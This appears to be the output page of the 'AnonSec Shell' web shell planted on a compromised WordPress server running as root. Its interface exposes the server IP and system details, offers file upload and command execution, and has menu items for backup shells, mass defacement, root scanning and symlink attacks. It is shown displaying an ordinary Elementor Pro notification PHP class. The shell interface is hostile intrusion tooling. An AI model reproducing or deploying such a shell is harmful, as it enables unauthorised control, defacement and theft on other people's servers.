AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.0   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/elementor-pro/modules/notes/notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/elementor-pro/modules/notes/notifications/base-notes-notification.php
<?php
namespace ElementorPro\Modules\Notes\Notifications;

use ElementorPro\Core\Notifications\Notification;
use ElementorPro\Modules\Notes\User\Capabilities;
use ElementorPro\Modules\Notes\Database\Models\Note;
use ElementorPro\Modules\Notes\Database\Models\User;
use ElementorPro\Modules\Notes\User\Preferences;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

abstract class Base_Notes_Notification extends Notification {

	/**
	 * @var Note
	 */
	public $note;

	/**
	 * @var array
	 */
	public $exclude;

	/**
	 * @var User
	 */
	public $actor;

	/**
	 * Note_Notification constructor.
	 *
	 * @param Note $note
	 * @param User $actor
	 * @param array $exclude
	 *
	 * @return void
	 */
	public function __construct( Note $note, User $actor, array $exclude = [] ) {
		$this->note = $note;
		$this->exclude = $exclude;
		$this->actor = $actor;
	}

	/**
	 * Get the notification payloads.
	 *
	 * @param User $notifiable
	 *
	 * @return array
	 */
	public function get_payloads( $notifiable ) {
		$exclude = $this->exclude;
		$exclude[] = $this->actor->ID;

		if ( in_array( $notifiable->ID, $exclude, true ) ) {
			return [];
		}

		if ( ! user_can( $notifiable->ID, Capabilities::READ_NOTES, $this->note ) ) {
			return [];
		}

		if ( ! Preferences::are_notifications_enabled( $notifiable->ID ) ) {
			return [];
		}

		return [
			$this->create_email_message( $notifiable ),
		];
	}

	/**
	 * Get the sender email & name.
	 *
	 * @return string[]
	 */
	protected function get_sender() {
		return [
			get_bloginfo( 'admin_email' ),
			$this->actor->display_name . ' (' . esc_html__( 'via Elementor', 'elementor-pro' ) . ')',
		];
	}

	/**
	 * Initialize an `Email_Message` for the current notification.
	 *
	 * @param $notifiable
	 *
	 * @return \ElementorPro\Core\Integrations\Actions\Email\Email_Message
	 */
	abstract protected function create_email_message( $notifiable );
}

Anon7 - 2022
AnonSec Team